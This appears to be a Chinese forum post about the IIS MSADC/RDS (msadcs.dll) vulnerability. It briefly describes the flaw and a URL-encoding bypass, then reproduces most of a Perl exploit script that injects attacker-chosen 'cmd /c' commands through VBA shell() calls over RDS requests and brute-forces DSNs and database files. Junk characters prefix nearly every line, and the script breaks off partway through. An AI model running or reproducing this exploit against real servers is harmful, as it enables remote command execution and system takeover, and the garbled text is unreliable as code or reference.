IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
#Hu~}zy op7FZHs 涉及程序:
w([$@1] Microsoft NT server
sR=/%pVN
k0H#:c} 描述:
z.)p
P'CJo 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
P<;7j? Ec]|p6a3 详细:
I@ \#up} 如果你没有时间读详细内容的话,就删除:
F}X0', c:\Program Files\Common Files\System\Msadc\msadcs.dll
oRq!=eUu_ 有关的安全问题就没有了。
jo98
jA< v{;7LXy0 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
{CUk1+ @"|i"Hk^ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
I&]G 关于利用ODBC远程漏洞的描述,请参看:
c3xl9S,5 P $>` http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 9=+-QdX+0] )\ 0F7Z 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
&35|16z%@ http://www.microsoft.com/security/bulletins/MS99-025faq.asp ?Zcj}e.r ?IYY'fS" 这里不再论述。
/-Qv?" 0 bSA_ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
F^kwdS 'Bq ZOZw /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
wu~hqd 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
?S#\K^ 8+'C_t/0i 'ks{D(` #将下面这段保存为txt文件,然后: "perl -x 文件名"
HKmcQM (36K3=Q a #!perl
",B'k #
[CN$ScK, # MSADC/RDS 'usage' (aka exploit) script
$3P`DJo #
,Og4
?fS # by rain.forest.puppy
_ PWj(}); #
]/dVRkZeAE # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
TKI$hc3|L # beta test and find errors!
D`o<,Y 3y`F<&sA use Socket; use Getopt::Std;
f7<pEGb getopts("e:vd:h:XR", \%args);
.v`b[4M4 e~\QE0Oe : print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
zlf}. mLwY]2T" if (!defined $args{h} && !defined $args{R}) {
$H2GbZ-I print qq~
h)x_zZ%>o Usage: msadc.pl -h <host> { -d <delay> -X -v }
RA/EpD:H -h <host> = host you want to scan (ip or domain)
ps1@d[n -d <seconds> = delay between calls, default 1 second
sH!O0WL -X = dump Index Server path table, if available
lZ+!H=` -v = verbose
<!'M} s -e = external dictionary file for step 5
x:z0EYL WjMRH+ Or a -R will resume a command session
=dH$2W)G HFtf ~; exit;}
UTk r.T+2X :jem~6i $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
4A.Q21s if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
VcgBLkIF if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
lAASV{s{ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
%w"nDu2Gcv $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Fi;VDK(V9 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
^Udv]Wh ?&c:q3_-Z if (!defined $args{R}){ $ret = &has_msadc;
1;r69e die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
#MgvG, k DsIp= print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Tj`5L6N;8 . "cmd /c ";
zQ8!rCkg4 $in=<STDIN>; chomp $in;
S`q%ypy $command="cmd /c " . $in ;
" 'tRfB UH3t(o7O if (defined $args{R}) {&load; exit;}
_a'A~JY hU {-a` print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
yfe'>]7 &try_btcustmr;
%%}A|, ^gR+S print "\nStep 2: Trying to make our own DSN...";
]qktj=p &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
l\Ftr_Dk Wd 2sh print "\nStep 3: Trying known DSNs...";
XB\zkf_}Xc &known_dsn;
$&{IKP)u 9O98Q6-s print "\nStep 4: Trying known .mdbs...";
<@#PF$! &known_mdb;
2C
"=!' M<`|CVl if (defined $args{e}){
d ,F5:w& print "\nStep 5: Trying dictionary of DSN names...";
#@//7Bf% &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
~L?nq@DL n^9 ?~ print "Sorry Charley...maybe next time?\n";
)|]dmQ- exit;
&7 [[h+Lb =nRuY' ##############################################################################
}C#3O{5 oyeG$mpg sub sendraw { # ripped and modded from whisker
YD_]!HK} sleep($delay); # it's a DoS on the server! At least on mine...
AFm1t2,+;
my ($pstr)=@_;
">90E^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
:`W|hE^ die("Socket problems\n");
zVaCXNcbo if(connect(S,pack "SnA4x8",2,80,$target)){
2@i;_3sv select(S); $|=1;
cyF4iG'M,y print $pstr; my @in=<S>;
3Sh+u>w select(STDOUT); close(S);
_<Dt
z return @in;
(JZ".En#X } else { die("Can't connect...\n"); }}
Zhi})d3l U}AX0*S ##############################################################################
WH$HI/%*m 5cTY;@@ sub make_header { # make the HTTP request
^R_e my $msadc=<<EOT
At9X]t POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
K0fv( !r{ User-Agent: ACTIVEDATA
;VzMU ;j Host: $ip
+Ui_ O Content-Length: $clen
|nxdB&1n Connection: Keep-Alive
5
2Hqu> v\A.Tyy ADCClientVersion:01.06
R@`rT*lJ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
=_-C%<4 :pZ}*?\ --!ADM!ROX!YOUR!WORLD!
`gguip-C Content-Type: application/x-varg
C{m&}g` Content-Length: $reqlen
Cvn$]bt/s IN !02`H EOT
OyVm(%Z
; $msadc=~s/\n/\r\n/g;
b X,Siz:F return $msadc;}
l)|lTOjb >&K!VQ{g ##############################################################################
5h^[^*A? ti_u!kNv sub make_req { # make the RDS request
bkv/I{C>? my ($switch, $p1, $p2)=@_;
+zO]N& my $req=""; my $t1, $t2, $query, $dsn;
.Ff_s 1f//wk| if ($switch==1){ # this is the btcustmr.mdb query
8wFn}lw& $query="Select * from Customers where City=" . make_shell();
P6Xp<^%E $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
w|Qd` $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
S+T|a:]\7 YoSQN/Z elsif ($switch==2){ # this is general make table query
@ss):FwA $query="create table AZZ (B int, C varchar(10))";
+R\~3uj[7 $dsn="$p1";}
|63Y
>U" Tg''1 Wl* elsif ($switch==3){ # this is general exploit table query
jnBC;I[: $query="select * from AZZ where C=" . make_shell();
o)I/P< $dsn="$p1";}
Fd8hGj1 d*-Xuv elsif ($switch==4){ # attempt to hork file info from index server
=AkX4k $query="select path from scope()";
x_:hii?6V $dsn="Provider=MSIDXS;";}
nVOqn\m- v33T @ elsif ($switch==5){ # bad query
J(9=T<%T $query="select";
p_6P`Yx^e $dsn="$p1";}
A*0*sZ0 p24.bLr $t1= make_unicode($query);
e'~ Q@_D $t2= make_unicode($dsn);
(%DRt4u<H $req = "\x02\x00\x03\x00";
=K'L|QKF $req.= "\x08\x00" . pack ("S1", length($t1));
s[V`e2O $req.= "\x00\x00" . $t1 ;
l,y^HTc}7/ $req.= "\x08\x00" . pack ("S1", length($t2));
x0G>ktWq< $req.= "\x00\x00" . $t2 ;
JlIS0hnv $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
vttrKVA return $req;}
>\bPZf)tJ) /'&v4C^y> ##############################################################################
yq6LH 2OC dG sub make_shell { # this makes the shell() statement
RKe?. return "'|shell(\"$command\")|'";}
[%~NM/xu< eH[y[~r ##############################################################################
b]#~39Iph `A{'s %$?! sub make_unicode { # quick little function to convert to unicode
~@fanR = my ($in)=@_; my $out;
(Y;'[. for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
P>W8V+l![ return $out;}
m X:bA5db
p
JX, n ##############################################################################
v=Mz I#0L i
tW~d sub rdo_success { # checks for RDO return success (this is kludge)
H A\A$> my (@in) = @_; my $base=content_start(@in);
?h&l
tD if($in[$base]=~/multipart\/mixed/){
%:tr return 1 if( $in[$base+10]=~/^\x09\x00/ );}
2Q
3/-R return 0;}
:BDviUC7Z C$y fMK,,N ##############################################################################
G5+]DogS 7b,AQ9 sub make_dsn { # this makes a DSN for us
i n?T]} my @drives=("c","d","e","f");
y`+<X{V5L print "\nMaking DSN: ";
n|Ma&qs foreach $drive (@drives) {
gTD%4V print "$drive: ";
STRyW Ml my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
ZjavD^ky "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
HnK/A0jM . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
dw99FA6 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
!Iko0#4i return 0 if $2 eq "404"; # not found/doesn't exist
v1K4 $&{F if($2 eq "200") {
.m'N7`VB foreach $line (@results) {
4^BLSK~( return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
%Fm`Y.l } return 0;}
QvNi8TB 1Kc{#+a^ ##############################################################################
J\GKqt;5@ U%Ol^xl sub verify_exists {
jL2MW(d^Q my ($page)=@_;
T-!|l7V~f my @results=sendraw("GET $page HTTP/1.0\n\n");
pfNThMf return $results[0];}
1W7
iip, 6(sfpK' ##############################################################################
?e2Y`0 7t+]z) sub try_btcustmr {
lDH_ Y]bM my @drives=("c","d","e","f");
E =
^-Z my @dirs=("winnt","winnt35","winnt351","win","windows");
n('VQ0b EyPy*_A foreach $dir (@dirs) {
h!~|6nj print "$dir -> "; # fun status so you can see progress
p+5#dbyr foreach $drive (@drives) {
+E `063 print "$drive: "; # ditto
<WgG=Kf)N $reqlen=length( make_req(1,$drive,$dir) ) - 28;
6yi/YM $reqlenlen=length( "$reqlen" );
:e52hK1[T $clen= 206 + $reqlenlen + $reqlen;
-ca]Q|m 8 81cv:|" my @results=sendraw(make_header() . make_req(1,$drive,$dir));
L1:}bH\y if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
*X0K2| else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
%Ln?dF+ d`<#}-nh ##############################################################################
2/UI>@By P@-R5GK sub odbc_error {
Mof)2Hbd: my (@in)=@_; my $base;
9EjjkJ%)q my $base = content_start(@in);
^>t-v if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
YU*46 hA1B $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
r)(i{:@r` $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
X%*brl$D $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
S/) return $in[$base+4].$in[$base+5].$in[$base+6];}
Ho:}Bn
g print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
}.w#X print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
>n#g9v K $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
FC~|& 18J.vcP ##############################################################################
JJ*0M(GG ?Of{c,2 . sub verbose {
n,1NJKX my ($in)=@_;
\qRjXadj return if !$verbose;
nqUH6( print STDOUT "\n$in\n";}
B/:>{2cm [%7IQ4`{ ##############################################################################
60(}_% F9ZOSL
8Q sub save {
P]{B^,E my ($p1, $p2, $p3, $p4)=@_;
z[_R"+ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
s=3EBh print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
'JJ1#kKa close OUT;}
LZ3rr- #wq;^)> ##############################################################################
F<H`8*q9 %'$cH$%~J
sub load {
*#3voJjV( my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
^Osd/g open(IN,"<rds.save") || die("Couldn't open rds.save\n");
$#g#[/ @p=<IN>; close(IN);
WXRHG)nvL $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
O1l4gduN|i $target= inet_aton($ip) || die("inet_aton problems");
Q';\tGy print "Resuming to $ip ...";
>MBn2(\B; $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
QYFN:XZ if($p[1]==1) {
*8pe<:A#p $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
1gf/#+$\ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
]Hv*^Bak my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
])3lH%4- if (rdo_success(@results)){print "Success!\n";}
_.oRVYK/ else { print "failed\n"; verbose(odbc_error(@results));}}
&h_d|8 elsif ($p[1]==3){
9}? 5p]% if(run_query("$p[3]")){
UEx(~> print "Success!\n";} else { print "failed\n"; }}
\1eKY^)2 elsif ($p[1]==4){
5)/4)0 if(run_query($drvst . "$p[3]")){
c"oQ/x print "Success!\n"; } else { print "failed\n"; }}
]l9,t5Y exit;}
s\F EA"w/ z+5u/t ##############################################################################
bw<~R2[ GN}9$: sub create_table {
6x`\
J2x my ($in)=@_;
od|N-R $reqlen=length( make_req(2,$in,"") ) - 28;
Y2ah zB $reqlenlen=length( "$reqlen" );
Q&:92f\y $clen= 206 + $reqlenlen + $reqlen;
=rs=8Ty?S my @results=sendraw(make_header() . make_req(2,$in,""));
@k#z&@b return 1 if rdo_success(@results);
H>@JfYZ0 my $temp= odbc_error(@results); verbose($temp);
"!w[U{ return 1 if $temp=~/Table 'AZZ' already exists/;
1+.y,}F6b return 0;}
kV]%Q3t
FCjYTGA ##############################################################################
h|$zHm & y 2GQJE sub known_dsn {
}lrfO_ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
bUZ&}(/ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
z[<pi: "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
: .UX[!^ "banner", "banners", "ads", "ADCDemo", "ADCTest");
+9=p*3cnp kW7&~tX foreach $dSn (@dsns) {
k~W;TCJs print ".";
mt&JgA/ next if (!is_access("DSN=$dSn"));
uBd =x<c\ if(create_table("DSN=$dSn")){
oPC IlH print "$dSn successful\n";
P+_\}u; if(run_query("DSN=$dSn")){
L?/M2zc9Y print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
&Pn%zfmMN print "Something's borked. Use verbose next time\n";}}} print "\n";}
Bm2}\KOI x u\/]f) ##############################################################################
Kuzy&NI^w &6~ncQWu sub is_access {
4 I]/ my ($in)=@_;
"O"^\f $reqlen=length( make_req(5,$in,"") ) - 28;
d-K5nRyI $reqlenlen=length( "$reqlen" );
h P6fTZ=Ln $clen= 206 + $reqlenlen + $reqlen;
Yg:74; . my @results=sendraw(make_header() . make_req(5,$in,""));
}f0^9( my $temp= odbc_error(@results);
b;t}7.V'% verbose($temp); return 1 if ($temp=~/Microsoft Access/);
gE]a*TOZk return 0;}
XV0<pV> &*?!*+!,i ##############################################################################
` wsMybe# tpy:o(H sub run_query {
ES2d9/]p- my ($in)=@_;
^b/q|(Nu& $reqlen=length( make_req(3,$in,"") ) - 28;
-
KoA[UJ $reqlenlen=length( "$reqlen" );
o<eWg $clen= 206 + $reqlenlen + $reqlen;
x]jdx#' my @results=sendraw(make_header() . make_req(3,$in,""));
6iAc@ return 1 if rdo_success(@results);
dwsy(g7 my $temp= odbc_error(@results); verbose($temp);
FKvO7? K return 0;}
eyl) uR /F ##############################################################################
@'G ( k; (B?xq1Q sub known_mdb {
&VBD2_T my @drives=("c","d","e","f","g");
`HZHVV$~ my @dirs=("winnt","winnt35","winnt351","win","windows");
hdNZ":1s my $dir, $drive, $mdb;
bI6V &Dd my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
\T#(rt\j nms<6kfzL # this is sparse, because I don't know of many
pZ|nn my @sysmdbs=( "\\catroot\\icatalog.mdb",
,"lBS? "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
1:~m)"?I_^ "\\system32\\certmdb.mdb",
p<^/T,&I "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
f<t*#]<